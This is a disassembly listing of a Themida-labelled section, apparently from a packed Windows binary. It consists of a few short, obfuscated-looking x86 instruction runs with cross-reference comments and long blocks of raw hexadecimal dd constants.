; ___:off_4385B4o
db 20h, 0F8h, 0F3h
; ---------------------------------------------------------------------------
cmp cl, ch
jmp short loc_5300AD
; ---------------------------------------------------------------------------
dd 114F001Dh, 0B8E0E950h
; ---------------------------------------------------------------------------
loc_530074: ; CODE XREF: Themida_:005300C4j
and dl, [edi]
add [eax], dl
inc ebp
cmp al, 0CAh
and al, 23h
jmp short loc_5300D8
; ---------------------------------------------------------------------------
align 10h
dd 0C21AD032h, 8ACC30Ah, 80F32D3Dh, 0F46050ECh, 0E933Ah
dd 244E8A15h, 53776799h, 8C552300h, 909EF0AEh, 0F8F60052h
dd 0FE091F98h
db 0Ch
; ---------------------------------------------------------------------------
loc_5300AD: ; CODE XREF: Themida_:0053006Aj
outsd
add [edi-744E842Dh], cl
aaa
push 4
adc ah, ds:0B000806Bh
sub [edx+ecx*8], dl
loc_5300C0: ; CODE XREF: Themida_:loc_5300C0j
jle short loc_5300C0
add [edi], ah
jb short loc_530074
; ---------------------------------------------------------------------------
dw 0CD8Eh
dd 7BA42ECh, 80316F8Ah, 12FB03BBh, 0E2EAC2D0h
; ---------------------------------------------------------------------------
loc_5300D8: ; CODE XREF: Themida_:0053007Dj
add [ebx+13h], dl
pushf
cld
test [ecx], ch
les ecx, [esi+esi*8]
pop esp
mov esp, 127B8064h
lahf
mov ds:0B23E00EFh, ch
retn
; ---------------------------------------------------------------------------
db 0Dh, 70h, 0D7h
dd 0F965F707h, 6181DC8Ah, 1090F084h, 0A75E039Ah, 8FF5BF3h
dd 92C9E420h, 23228C00h, 48196866h, 607089FCh, 9F7969B8h
dd 0CD13D427h, 820A7166h, 0F9010897h, 98B9B274h, 0C7DDB0CCh
dd 10682F50h, 88997B25h, 0D081A300h, 19F045CEh, 0EEB20F4Dh
dd 88F870FDh, 2F384F77h, 811F7CC4h, 928049ABh, 47885642h
dd 46A70020h, 0A34F50EEh, 8E7E37EFh, 0F3C7200h, 0C481FC3h
dd 66E80F41h, 0C05D85F6h, 558C602Eh, 2A0017F5h, 8290B2BEh
dd 67A26664h, 90AEE8F4h, 2128B713h, 0E0682E33h, 0C5083019h
dd 0B712B621h, 2CF69D00h, 49E9E3F5h, 45890776h, 0A1E27CE8h
dd 0FBD80DA2h, 83B61814h, 0F0240294h, 0A099940Eh, 9DB2CEA8h
dd 1BC30E6Fh, 7C6C8879h, 0D0A1DF08h, 9D84208Ch, 36B1C202h
dd 8ABC46D7h, 65832C88h, 0BB869A22h, 6C110077h, 0F91A3B14h
dd 5919C3C2h, 0A408D2F1h, 2C362180h, 8794243Bh, 8406C907h
dd 0B8307107h, 0C455090h, 781517F9h, 0E1182310h, 1170E7FEh
dd 0A87418E3h, 0DB44D88Ch, 5849FF0Ah, 61919CB8h, 13B71C80h
dd 448C2621h, 0ACA0B954h, 6B00CBFEh, 2F0BBCF1h, 180444Ah
dd 0BF1C1D45h, 0EC257648h, 0B96C16C7h, 8C85E880h, 6F3B2702h
dd 19DCFAF9h, 1F4D10A9h, 0FF743Bh, 0A156A84Bh, 57531C1h
dd 0C8F02828h, 3DBAC480h, 10C0C9E8h, 0D88D37C1h, 30B8E7h
dd 0D2CCF28Bh, 451CDE16h, 60A76A00h, 0F7F66E66h, 3FB50044h
dd 5E3102BAh, 9300B3BFh, 2ED0EB82h, 0EA74F0h, 44096119h
dd 0E0A933DDh, 0F14E8901h, 4D81D836h, 6EDC64D1h, 9C01288Bh
dd 96E601B7h, 9A25D3B5h, 80ECC435h, 7037B000h, 7C33A8B2h
dd 0C23F00DAh, 52B77A69h, 0BB03AAA1h, 0B894CACh, 56D1A805h
dd 3DC50060h, 619B7732h, 0F9007E4Bh, 2BD899BCh, 0EED5319Ah
dd 76BA1F38h, 0F67800FCh, 95658BF3h, 550019FCh, 0D37E77FBh
dd 1C4426F4h, 80E5A1E0h, 99FFA0B2h, 34005F52h, 0AB240BFBh
dd 0CD5433ADh, 0DC21B008h, 0BD003477h, 0D8D6881Ch, 0E45AB89Fh
dd 4C2A80B1h, 3709431Fh, 8CACC313h, 42241B07h, 68D5092h
dd 3B1FA377h, 1A000B44h, 91877E80h, 0E9C41D99h, 0DF8830F5h
dd 5F0171FBh, 94ADDDBAh, 88CED82h, 0B5209A26h, 9F711301h
dd 0D4DB0A23h, 784EFDCh, 0FF8C2D8Fh, 1BFD904Bh, 31C002E8h
dd 906BD323h, 6D773D4Dh, 71B800FDh, 4CD85FA4h, 4363B614h
dd 70EA788h, 88C29830h, 0D7823090h, 0FE0F13DBh, 837FCE1Bh
dd 1CCAC4BBh, 8C1AFFA9h, 670ED7Bh, 863E8F18h, 19B2F720h
dd 299C175Ah, 0E6EAE4B9h, 0B4BE1A01h, 0B5CE12CBh, 9C409DD3h
dd 99E9BFCFh, 0F97302h, 5E2D6D80h, 0F669D981h, 9B70FC60h
dd 36B8CAh, 7B7E3355h, 0FDB382A3h, 71BA1903h, 13F47685h
dd 590899h, 93525834h, 0F4A938CAh, 87918EFh, 540B1134h
dd 0F240B7C4h, 0A9C23451h, 56456600h, 0C6DF8C4Fh, 82670054h
dd 96C8E07Ch, 44001599h, 877DE2DAh, 169598Ch, 0E0FEF0A5h
dd 0E0D23385h, 4C03A376h, 0D44F0468h, 0A8A4910Bh, 0ABDCF0F3h
dd 40F60044h, 7BF7B21Dh, 8C008042h, 9E0882DEh, 192038h
dd 6E2B942Eh, 22A6E21Bh, 3866A00h, 0AFE627E9h, 7C7299h
dd 0DC5461BEh, 85D3FB18h, 63C1C900h, 0F9967E8Bh, 39B7001Ah
dd 20979D8h, 8500A7B9h, 0A47D51E9h, 0C159AD28h, 0A8784634h
dd 6514409Ch, 7501426Bh, 27B81E2Bh, 5BF07828h, 196F07BAh
dd 196D94Eh, 0EF3BB259h, 0C99C1000h, 70A94373h, 7CF8EF63h
dd 7711F5Ah, 987E809Fh, 34F0DB10h, 70022F30h, 388F62h
dd 297748F5h, 0E7BE752Eh, 43885907h, 0B06020AFh, 6D349C5h
dd 2AABC9A4h, 90138D5h, 1FBAE9F4h, 3C8168FAh, 549F91A9h
dd 7A9420E6h, 0AD5D5A1Ch, 303A3B0Ch, 96670002h, 6F633CC1h
dd 0CF0092AFh, 0AB3BCB5Bh, 2841D31h, 83F7F98Dh, 46001F4Fh
dd 6C73722Dh, 0FC20403Fh, 403B0E18h, 0D91F51h, 69653EF2h
dd 0A7F8857Eh, 77220800h, 0BF252CC8h, 0D68C00D2h, 3283D527h
dd 0D00BADEh, 39574EB7h, 0FE45BA4h, 56964A91h, 0ED8189EBh
dd 0C10D11C7h, 0F01860A6h, 3562670Fh, 0DDCBC045h, 13865B8h
dd 31FBE45Dh, 0CC91E5CEh, 0F007CD5Ch, 0A8D08E32h, 710A802Eh
dd 8E71Ch, 43B58291h, 0B08A3312h, 0DD6D9F00h, 72EB39DBh
dd 9127001Ah, 987635A2h, 0F300A3DCh, 7FE7669Eh, 17AC2D4h
dd 918DBE0h, 871295F6h, 0EE390D88h, 15AFF83h, 33B6DB50h
dd 80524CA5h, 0C5DCCED0h, 60039CD2h, 2309A1EFh, 30C07517h
dd 0F7E01E4Fh, 83620048h, 9095D4ADh, 8772CDFBh, 8CA6262Ah
dd 7F2FD50Fh, 0A3B56333h, 0E05CF3AEh, 1EB1B642h, 0CECCE8F8h
dd 0A8003B41h, 3EC6A582h, 0E6DB300h, 3832BFB6h, 0FD7394h
dd 0D58C5039h, 0A372DA21h, 0FC58D228h, 0A87B5E00h, 0E2F98A41h
dd 5D610063h, 30E0814h, 461DE33Ch, 813A5516h, 0F6E07E05h
dd 97D039C2h, 47D11DDAh, 21621899h, 0F000A41Fh, 17B3C0BDh
dd 213588Fh, 0AB38AC3Eh, 0EBC0FEC2h, 0C80449DAh, 6BF16162h
dd 598FC880h, 609D7D98h, 19A5485Eh, 502C71B4h, 780CFC4Dh
dd 0C0010815h, 0B45BF621h, 333776B0h, 76018A3h, 3F5E0526h
dd 3079E3C9h, 8310FC85h, 0EB001A48h, 51F0187Eh, 0E8FA7036h
dd 20376012h, 1613499Ah, 739E7D00h, 146EFECFh, 0FC940C36h
dd 0B3D9A683h, 30DE39F2h, 1277D901h, 80834F96h, 0B00A9A87h
dd 365E2900h, 0BDD651C7h, 36DE704Dh, 98A0E1A3h, 8006CA21h
dd 7E2D1A4Eh, 4486F148h, 4500342Ch, 2E0D4413h, 0B65DB2h
dd 1A269C41h, 14307553h, 52D00B54h, 2A6098F0h, 9E242710h
dd 0B2E42869h, 0D28E008Ah, 0CF846FEEh, 2C00A5FBh, 9FCD05C1h
dd 186EB52h, 0C413E0Eh, 0DCC8C42Ah, 220088F4h, 3E742FFh
dd 0E169FE0h, 12BFDF4Fh, 43B34020h, 7DF41AC4h, 65183E00h
dd 7FDE46E4h, 0D2EA008Fh, 832E4884h, 9207813Ah, 0C860C0A2h
dd 0E81F1960h, 0BB640023h, 3361A0BDh, 0B774B334h, 8B6C6600h
dd 9DE5272Dh, 1BCA07C7h, 46C01742h, 750021C3h, 6D9B2765h
dd 9AA16Eh, 525BC681h, 6B0E55EEh, 28BB8C37h, 0D8C54A50h
dd 0ECC11F3Bh, 0E557C338h, 0C4A15E60h, 0A4208017h, 0C22A3A30h
dd 49EF00A3h, 35C1F3EEh, 5C7CA1F0h, 0E785A80Eh, 9912C155h
dd 304A0F4Ah, 301EB8C4h, 23D88Fh, 6BFAAADh, 216C9FAEh
dd 48341330h, 60FCEE4Ah, 23CD6887h, 0F9079384h, 6BE104A1h
dd 0E7F60A23h, 805EB555h, 816A998Ch, 0C2D50764h, 0C174F6E5h
dd 95885185h, 0A8540E48h, 3BE7B3Ch, 4308B28Ch, 0EB9817FEh
dd 88A36415h, 0B641BCA0h, 7C33783Ah, 18567D30h, 0E28F7398h
dd 0FFE100E9h, 0CC1BD39Bh, 6F1F5974h, 9880EE40h, 165B79C9h
dd 38FC0445h, 0EF2E5FB4h, 0B00348C0h, 29633BA0h, 0EC924A03h
dd 0E8A04D8Ah, 4F0041FBh, 0DA8718ACh, 0B60415h, 7C55581Fh
dd 0C85FB3D2h, 1286430Fh, 18E9200Fh, 188A491h, 0AA9015B9h
dd 0C8815CC7h, 2F0042AEh, 64E3C603h, 0EEBA9716h, 99683B04h
dd 6F2BC100h, 4783D9B9h, 21C408CCh, 96EA00C3h, 829313E9h
dd 0DC008A98h, 0B1CA5C9Ch, 0F0B032Ah, 0C8041C85h, 31BC6EE0h
dd 510E5DCBh, 0D78E4Eh, 9D501B6Ah, 0DA9E0095h, 3E328E0h
dd 3ED016AFh, 8AC90610h, 0C248D9B7h, 1E4A6E21h, 0DA09F303h
dd 5AE501F8h, 0C0CFD796h, 538D1C90h, 83817460h, 762B1312h
dd 0DBFA0C7Eh, 1F081061h, 9C20D760h, 7CE3136Bh, 0B42838A9h
dd 8A6D028Fh, 40747227h
dd 79032B2Ah, 633E2300h, 0AA78B2DBh, 3F274D3h, 0ED6F076Eh
dd 4B901D11h, 85003B03h, 0DA9CDBE4h, 1BFCA80h, 2C5E8127h
dd 0F04C82A7h, 25007201h, 0DFAC402Fh, 0BB7A93h, 5CBA59E2h
dd 86C0AAD1h, 879E8A0Fh, 3CC6C0E4h, 13A3CE55h, 0C464E7h
dd 4A2DEF70h, 661E0E61h, 0F58F4119h, 0E4948558h, 845BF000h
dd 286ACAh, 802EC45Fh, 678579B0h, 7EDB2300h, 0E2582D62h
dd 17FB005Ch, 0A522D425h, 0AC24DDB3h, 2D00B180h, 575B6BDBh
dd 0EAAF3EE2h, 90D92030h, 0CD00A470h, 0BD9F617Eh, 0EBF3A9h
dd 0DD0FD3DCh, 948EA06Ah, 0AF47DA00h, 74583A66h, 383F8E4h
dd 59DBDED9h, 87CEF1Ch, 0E7E9AE00h, 99110B16h, 430D0FADh
dd 8BC03038h, 0EB5E9858h, 3F008C7Dh, 960EA9B2h, 7A2126AFh
dd 0C5223F89h, 2C73789Eh, 5669079Ch, 0B7249062h, 3900CB37h
dd 3812D9A8h, 3A8F96FBh, 0E00353FCh, 59DA8680h, 0CBDD500Ch
dd 5C58AEh, 0AB8A0521h, 0EB91A6BEh, 8200F898h, 0CA9257DCh
dd 7A02477h, 0C6349E5Dh, 8EEFC00Fh, 70FADF1h, 0D26DC9h
dd 58BFC28Ch, 52B130EEh, 19042FB1h, 833F0B07h, 7F71919Fh
dd 3CE83850h, 18097F7Ah, 989AC4E5h, 51F5D9A7h, 0BE36CC0Ch
dd 4B381838h, 1E0C5351h, 24684A9Ch, 267B0064h, 0FFE6B7BEh
dd 7E048600h, 9FB80B22h, 1EECE9B1h, 12D1E85h, 0E1B7C09Ah
dd 0E267434Ch, 21C0BDE8h, 1B0115AFh, 0FC9C7C68h, 0E7A53ED5h
dd 77E4E503h, 0FCD02530h, 0C5241BF1h, 0E11F3F56h, 8E949186h
dd 0C6AB0729h, 0F0142337h, 81E4C862h, 5560AC74h, 0BD4EE560h
dd 0A475003Eh, 9A8A3CFEh, 0B6069F6Fh, 3F5AE857h, 4D410788h
dd 0CC5C080Ch, 68C8E599h, 37FAC09Dh, 0BD761447h, 224F4486h
dd 420C6800h, 8E039814h, 51BB0FE8h, 30FD253Ch, 68FF1971h
dd 0C95C3732h, 0F4C9319Ch, 15461440h, 653040h, 0CED03EB8h
dd 4DF9760Ch, 9A2DF11Dh, 20DC00FFh, 2C7EB51Ah, 18363DF4h
dd 55950B00h, 0FC6DC102h, 0B7826B00h, 92DB906h, 0C92B0190h
dd 391AA4A2h, 19AC48F3h, 5388DF18h, 28DA10h, 9B331894h
dd 0AB387D8Ah, 9F3DCD00h, 649DB4F7h, 0C0930339h, 8F01F888h
dd 12F0AE80h, 33B91506h, 1C0C953Fh, 8CD130h, 1755F4C1h
dd 0F2009F96h, 0CA222AC4h, 3D620CFAh, 0A80002B3h, 329063DBh
dd 2500C43Eh, 24DCEC88h, 7B6EF35Ah, 53B7006Dh, 4DA9FC14h
dd 8F004B2Eh, 8B5BD1DBh, 0E3229Ch, 7C574CE5h, 785A0604h
dd 41608F00h, 2FBFDB0Dh, 0E9B4014Bh, 2DDA619Dh, 69A8E8D0h
dd 14249CBh, 9DDFCAEFh, 714ECE4h, 273E2635h, 64344096h
dd 5730B905h, 87C5314Eh, 14A001E9h, 76BE9309h, 0A27CDC6Fh
dd 0DB4BFB00h, 8B52A82Dh, 78F930C1h, 0EF2A6A10h, 8F69BC03h
dd 60DDD4E1h, 16C91889h, 0B008052h, 0A9036FD0h, 0BE7881h
dd 0A32E608Eh, 0EAA3D22h, 0F9BAEE03h, 98BC9B6Eh, 0FC438A08h
dd 2EE8C0A9h, 40153A16h, 0D98C0600h, 0C8F32CDAh, 0A9ED7078h
dd 4A702E80h, 568400E6h, 0A3F8D1A9h, 900B97F6h, 0C09C823h
dd 66E1B2h, 96E3F7D3h, 7A70D469h, 847CA77Eh, 72C0C600h
dd 0AEF01AEh, 15712Dh, 225DDDBDh, 4C8C2C79h, 29BB8E19h
dd 0CA306048h, 0DED8009Fh, 0EFCEC46Fh, 0CD000CA2h, 0EB9B99B7h
dd 64E6F3h, 431F5DE7h, 284CEA94h, 7A658900h, 0A2EE667Ch
dd 3444002Ch, 48C91C9h, 0AE60418Eh, 3FBD0C18h, 0AFB70092h
dd 9B32EA69h, 36010F07h, 0BB8FA3C3h, 0EE1187F6h, 9D75C442h
dd 0BFBE1518h, 0EB12B620h, 1DBD5FF0h, 94ABCDh, 244D7165h
dd 0AE061DFDh, 2EFEFC3Eh, 1E16F890h, 0CBFEF3Dh, 9B80CC4Eh
dd 3E9D505Ch, 3563F30h, 76153F80h, 0AE8FF88Bh, 7323EC3h
dd 9EEB9Eh, 0E6A8E516h, 981D23F2h, 19717A15h, 4213D5DDh
dd 40A826E7h, 6EEF6B01h, 36A5D46h, 0A8C16130h, 437CA0h
dd 2F942CFFh, 150ED9FBh, 6CC2A800h, 67052C4h, 0DDD30CDBh
dd 0A18ED5AAh, 7A3BED06h, 1D39D77Eh, 0E26CBA8h, 98CEF7D5h
dd 646E97C0h, 0F53EE325h, 7440002Fh, 900ACC9Fh, 0ED364422h
dd 20EBF100h, 0C8BF706Dh, 2662066Fh, 2053D232h, 5155D507h
dd 34802B23h, 1FCA3C15h, 409D4992h, 80985ABFh, 0CD171BFDh
dd 0E10037F1h, 18789104h, 46C10E9Fh, 0C4630ED2h, 0DBAAE786h
dd 0B99B980h, 0AD183CF7h, 0D1D0E287h, 70AE81F4h, 8800FB5Bh
dd 1ABDE88Ch, 32C8F26h, 0D6AA3AFFh, 99B0D586h, 0FC003C50h
dd 96524C06h, 49087Fh, 56E90CC5h, 2465DE6Eh, 0FF3A5E90h
dd 4B350E33h, 80D20EB5h, 57C2F726h, 617000EAh, 7560334Ch
dd 2B07DF73h, 8D55B1A8h, 0D3267760h, 0C08374CDh, 9EBD3940h
dd 240096D4h, 32D5D82h, 0E65395h, 21ADB2F4h, 0C9A69D39h
dd 0DE735200h, 891AA177h, 0E00803FAh, 795588F4h, 4165A4D1h
dd 0DC7C77E4h, 2F001E20h, 5D1CFF8Ah, 0E4675823h, 0F5390031h
dd 3D61A2D4h, 520038BDh, 620324BCh, 3718A0E6h, 76984D22h
dd 0D91DA180h, 0E0F75127h, 957B46C0h, 2CA72E8h, 89F556ADh
dd 84802BD7h, 87622A1h, 0E9E0390Dh, 3130417Bh, 0BDC30C16h
dd 5578A31Ch, 0B069A600h, 0D54CF424h, 595401D7h, 0B7FAE12Eh
dd 0FB7CD410h, 0E6F8F301h, 9B895F46h, 15AC3420h, 24BB3B6Ch
dd 604F10h, 8AF3F5AFh, 182C80FDh, 0B0D3A3C0h, 4C6048C5h
dd 4AD20388h, 117F6D98h, 8B040AB0h, 10808CE6h, 6F70004Ah
dd 5A18218Fh, 0D91C2D75h, 8540B77Dh, 0E5E76949h, 2AE40179h
dd 0B31FDD61h, 19A4700Eh, 4E4D6D00h, 44153592h, 95430051h
dd 2FC0F139h, 0D8FBA3B6h, 1000BD0Fh, 0FD757E16h, 75D4Fh
dd 0CD2DC68Dh, 85DA991Fh, 4565A700h, 7E0AD7F3h, 77EA00F8h
dd 80AAFBD3h, 1200C37Fh, 7850BF58h, 92B6D05h, 6794FA75h
dd 4DA74F80h, 0D5078821h, 649D4C8h, 55C9C530h, 6E7E77h
dd 1F80A456h, 0C770B3CFh, 9419AD00h, 9586B8FFh, 364E2ED8h
dd 0DF7B00DBh, 0C909FD53h, 2BE8CE00h, 0D597AEF7h, 1F6FAB6h
dd 2ABDB388h, 0DDFE47C3h, 5DB2E84Fh, 0AC00C275h, 7C62CFEDh
dd 3C2F13A5h, 0D10E0870h, 7A69FC9Fh, 0BC60940Fh, 5B04DCC9h
dd 0C0E46000h, 2674A3F1h, 0E169005Ch, 7A18C483h, 0DC00AE08h
dd 4BE92E99h, 0CD5F49h, 0E2B85E48h, 1241A884h, 0E3F4F126h
dd 5F184400h, 0DA85A5h, 8E57C99Fh, 3666038Ch, 0B13C0892h
dd 0B9A180DBh, 6D07D187h, 9860942h, 5380AE24h, 9A958DB2h
dd 4E000BECh, 3027ABBCh, 10879E7h, 723BD60h, 8037587Eh
dd 3546D551h, 1C9AF396h, 0BD8EA86Dh, 0DF32421Eh, 0E774C0B3h
dd 0F15077D1h, 0C3176C03h, 0F80BA140h, 2C85E4h, 136B38E0h
dd 77EE46ACh, 0B55CE81Dh, 5A227382h, 0AE98032h, 8ACE9Fh
dd 0C0C3BE30h, 25D7E46Fh, 4616D090h, 8076690h, 4A51FE88h
dd 80C408B8h, 32CA0097h, 969E5C15h, 0C5F260B0h, 755A401h
dd 418CDFCCh, 781CECh, 7E3D2762h, 7208ADB9h, 2C20C00h
dd 0B607400Ah, 136A037Fh, 3FA2CF41h, 1C91B4A0h, 1D739F00h
dd 0B558BE39h, 28E0744h, 0B383C38Ch, 79A81993h, 5C00259Ah
dd 3530F8AAh, 3E0E4CC0h, 6C02F218h, 0BB38BC94h, 2AA10E40h
dd 85C3C538h, 5B7327DFh, 3B5951C0h, 440B00CEh, 618B34F4h
dd 0FD00BA9Eh, 1BF04DDDh, 0BB8DD4h, 0A317C956h, 27CBAC20h
dd 0D09B9F00h, 0EF9E0877h, 0EC21507Bh, 0FC2C0B17h, 94008948h
dd 6846FD3h, 9C4CC200h, 96DCA7E5h, 48400AC1h, 17EBAD6Eh
dd 1D0E00AFh, 7FD67EF6h
dd 1CFC094Ch, 0FBC0EC2Dh, 6BA45C46h, 0DBC900CFh, 724E88E4h
dd 270133CAh, 7C7BE6AAh, 6EE4AE8Dh, 0DCD500ACh, 0B5E3C4Dh
dd 85B8B0DAh, 781D5BF8h, 0A3853D10h, 0DDC040CAh, 4E7072h
dd 39143E21h, 83F45CD3h, 63063500h, 0DE66BDEFh, 702B0ED4h
dd 48E02D72h, 0FF4E5A26h, 754C6B01h, 7EE1928Ch, 5D6830h
dd 0E0C571C9h, 69E62094h, 799443E9h, 90B484CDh, 85BE553Ch
dd 803C49h, 1B069E36h, 7E4EEC47h, 3A7C9062h, 4D8010F2h
dd 86E58EBBh, 7C3CF1DDh, 0EB3B80A6h, 7E1E4C91h, 23973C7h
dd 25C3D461h, 2C61AFF2h, 8CFEE45Bh, 9E449903h, 3864EF52h
dd 3BF4E378h, 0D105BB81h, 80962811h, 0D0F15BA6h, 3793AD00h
dd 0F569C10h, 83410076h, 0CC9FBA5h, 0A000332Fh, 0E4EE7F81h
dd 60CB57h, 6B5C3858h, 0BF023F26h, 0B0C1FC1Ch, 529BAC00h
dd 0A02C65h, 0B7F2A3F9h, 49C9E055h, 989AB501h, 7B2BFBFAh
dd 0A8EFF050h, 0A6790084h, 91F90F4Fh, 0EA3D3B65h, 6F7A0CF3h
dd 536808h, 0E6685076h, 243645E2h, 96DE31E2h, 0CEF22B41h
dd 0A4E483C9h, 30A7138h, 0E8701068h, 0A90047E2h, 55802E33h
dd 1C5AB8C2h, 42A420DEh, 0E3B19535h, 0E69638B0h, 0F6DD4900h
dd 8BD83384h, 9AD00758h, 0A039DF71h, 3B1E5FADh, 4E00F97Ch
dd 47DCD678h, 0A9C3F1h, 89CB1F20h, 1D13DDE8h, 9676D800h
dd 5390799Eh, 3477F1Ch, 0AA4DFE80h, 0D78F5439h, 93FB825Ch
dd 7A978380h, 0D2003F3Ah, 0D3DE9234h, 0CE8F1Bh, 648796CBh
dd 919A4A02h, 7D0A2000h, 9BD0A729h, 43EA00D7h, 517846A6h
dd 1001FFBFh, 0CF183CB6h, 8C60362Ah, 9DD3D24h, 0A6F1CBB0h
dd 0FE001170h, 1CDE5569h, 188C6E5h, 73BBF8A1h, 20220FD6h
dd 58C03460h, 359B69EAh, 1D1F00E2h, 1ABBD68h, 0E49CE27h
dd 0F3070080h, 0D297062Bh, 8C6A54BEh, 9300032h, 91058CEFh
dd 386081D4h, 0A05D17DEh, 0F4E4002Eh, 0FBDACA23h, 8304EDA5h
dd 46F78FD4h, 0B6D7ECC0h, 1B430E7Eh, 0C6471311h, 0B8DAE004h
dd 300726Dh, 0B2E7E08Dh, 240A14E6h, 39A0B5A5h, 0BD81707h
dd 72AEA1C8h, 5D0267Bh, 9D4DB27Fh, 67CD1490h, 4CD7003Bh
dd 55E30C45h, 0B8779F22h, 0A35220B0h, 80753CE8h, 8AFFB740h
dd 0FA7B493Dh, 0BE2E00D8h, 30C2F232h, 85FAA222h, 0F70C7113h
dd 81CF3000h, 4A52E0h, 7D9E206Bh, 4CBBF51Dh, 3EB40D00h
dd 0FB0F687Bh, 0D78C00F1h, 0F4A8CCB8h, 15035C32h, 2C9B0B3Ah
dd 0E0C9C398h, 0D3FB17h, 85AD92CEh, 0F962031h, 9386BA01h
dd 59897190h, 36B5E8h, 0AA3A1A2Ah, 0C892E3C3h, 0ED333700h
dd 0B32940F0h, 178B7293h, 40B707DAh, 0F3CE60C4h, 0E8283849h
dd 1501A08Ah, 0ED1746Eh, 6CF47F55h, 200D00B9h, 1C804F4Dh
dd 32047BECh, 9AF93C33h, 47C1FBC0h, 0AA7BADh, 948A75B8h
dd 57F38963h, 22C09303h, 0E0FCAF7Eh, 47251Fh, 0EE4BD640h
dd 0B8B68CD8h, 2D00FBF8h, 15926193h, 0B849520Bh, 0A3E22Dh
dd 0A8723334h, 0EF8FEB86h, 808C3200h, 5816DE6Eh, 51941CD9h
dd 21E40181h, 27870993h, 1AC40074h, 539D5BC6h, 0B0212CB8h
dd 2772C434h, 1382BE6h, 0AF9E459Ah, 7440C20Fh, 82752444h
dd 0E661640Fh, 0E1D5C030h, 72BB3A39h, 0D011029Ch, 0BD678F02h
dd 0BE899C45h, 79FC413Fh, 0B25116C0h, 0C4B50004h, 0A8A9CE73h
dd 14720B82h, 0B2841D00h, 6451DCF4h, 0AB50C0ECh, 31A91E3h
dd 4284C59h, 0D4D82560h, 0C1047C90h, 5E7A0EA1h, 0A1B9017Eh
dd 0D40AF1C7h, 2021436h, 93583CFAh, 0B37468CEh, 609EB087h
dd 50C8506Bh, 0E37380Fh, 39001086h, 95EC3Dh, 98D9B49Bh
dd 6E5B107Bh, 0B1786700h, 0EB47C8CBh, 566D2434h, 70BB008Eh
dd 2CCCA6C7h, 2FF92300h, 68914003h, 0E5C0007Fh, 0BC268027h
dd 740E6FBDh, 62F19CA6h, 0E0C5CAA0h, 77E827h, 0C2A564Dh
dd 55D2F0B6h, 0D500A7ECh, 37B93CDBh, 24BFEADh, 0C8DFF4E9h
dd 1CE749CAh, 0B2E81194h, 0ACC44Fh, 0D4183E45h, 44AC5E8Ch
dd 0E083DA17h, 7C23060h, 7D2D1ECAh, 128B800Ch, 0A87FABA7h
dd 9FB92000h, 0C5F87057h, 144F4C52h, 0DCAF1107h, 0CC63208Bh
dd 0BE00C389h, 0E4B4AC56h, 64F99651h, 1C3E90AEh, 53A85080h
dd 0A3ECE0h, 187DBB4Eh, 0D6C5FFD7h, 0C4268600h, 77D2D869h
dd 0D4EA001Bh, 358850B0h, 0FB03BB51h, 9067CF78h, 6C98CA05h
dd 0CD110558h, 9066102Ah, 0FB0BDDF0h, 0BE724002h, 80BFD388h
dd 764D3A80h, 651300ECh, 77CB5CD6h, 0D90EA9DAh, 0E03DC4A6h
dd 84A42E49h, 5FD0528h, 809F3CB2h, 98D61993h, 0F0B3FF00h
dd 5190C74Ch, 0C0300077h, 0D8E82EDEh, 1300FECDh, 8AA7B85Bh
dd 9820BA98h, 0C24A2EF4h, 1899D9F4h, 0C5583C48h, 9083B707h
dd 0DB864734h, 15029080h, 0D7001AB6h, 0CDA6F7EEh, 3CBA7A3Dh
dd 3002E25h, 0D5819DEBh, 0D8027859h, 3F74F512h, 0E0BC6316h
dd 13AD1D4Ah, 0E80B48h, 212E8BCCh, 0F517DDFAh, 0F20051E1h
dd 578D4E4Ch, 0DC601D37h, 3D1280E5h, 0B3270EB9h, 1800A490h
dd 60C8967h, 52DE07Bh, 4744B1C0h, 38F014D3h, 17F192C0h
dd 0EE0012DBh, 0E7BDE6ACh, 123AB0EBh, 59931B4h, 0CC4C7A48h
dd 6F0221F4h, 34AAA95Ah, 0FB34C8A3h, 0F771027Ch, 0D0B1D63Fh
dd 35128460h, 0F4582401h, 0B0F0532Ch, 1C0A09F0h, 4087A760h
dd 1D7B6E81h, 0ED386825h, 20AA30EAh, 0A1234DAh, 0C044D8BEh
dd 7AD10094h, 0FCA3BC18h, 65747200h, 0B19705EEh, 0F1F0BEh
dd 67663A69h, 0A0176F29h, 56B20303h, 80ECAE1Dh, 2B764F0h
dd 72841C9Eh, 3B60FC39h, 870050D0h, 51D9AA0Eh, 614F90h
dd 8A291E3Dh, 62D0B684h, 34FA3F00h, 300DF625h, 63E200B7h
dd 0B6986724h, 0BC003E51h, 60470F89h, 3827F57Ah, 5500184Fh
dd 395386DDh, 0D0EDF30h, 0C78ED0C3h, 3440A57Dh, 3A3F5E49h
dd 82804EEFh, 8B6B948h, 9AFC5B26h, 750E3090h, 20CF8936h
dd 1D69C952h, 0E7F9008Bh, 2B63367h, 830077C8h, 4576A625h
dd 28AD26h, 0CF411669h, 8736E5Ch, 4F10C800h, 77BC847Bh
dd 19A500ACh, 92461EF6h, 3F0A3EDFh, 0E289E9F5h, 41F18639h
dd 1E811514h, 126DFD55h, 0F185E8Ah, 24036B35h, 103CD1FEh
dd 56270005h, 58803F73h, 0EFC61EABh, 1450037h, 0BB2C381Dh
dd 0AD505D00h, 7A5EF74Dh, 733EE0Eh, 0E46EA105h, 7037B619h
dd 2224E82Ch, 0BB524D03h, 0D6BC8354h, 0FD264868h, 0C4B0C600h
dd 0B2F736B9h, 0B0DF053Bh, 7E0321FDh, 1C761DE0h, 35B549B1h
dd 1FAD0580h, 3B03D6D1h, 6C233621h, 24B2D02Eh, 0D9840077h
dd 0D5499918h, 7600D208h, 0E598BA7Eh, 3C7D1A40h, 38004F4Eh
dd 8786A702h, 310043FAh, 0EAAC3AE0h, 1DA4AC2h, 2654063Fh
dd 68633312h, 23B90E24h, 5CD760BDh, 44CE4142h, 9A009918h
dd 0B4015993h, 4CFFB889h, 0EC7C243Fh, 4D98747Ch, 26002C3Eh
dd 0ADF5E714h, 0B0F86F97h, 0EFE9D460h, 405E09h, 5B449E25h
dd 0A1FB90F8h, 32E0771Fh, 40BF8A8Fh, 0CC7E6664h, 0FF0100E6h
dd 55D3FA95h, 9600BD9Ah, 0D00C0FF6h, 7643CDE7h, 0DCEA62h
dd 0E4EFD809h, 26A15199h, 0D038EA01h, 0FBC38170h, 0ABACC0h
dd 0F6786294h, 0F4DC895Fh, 0EF002F7Bh, 2DD9D3C3h, 0FCCAF81h
dd 0D5D12518h, 8296D700h, 5C00C5EAh, 5DADA851h, 0E89CAC79h
dd 2080E310h, 37C5E680h, 0DD070DE8h, 0E53E20A7h, 0BA5D671Fh
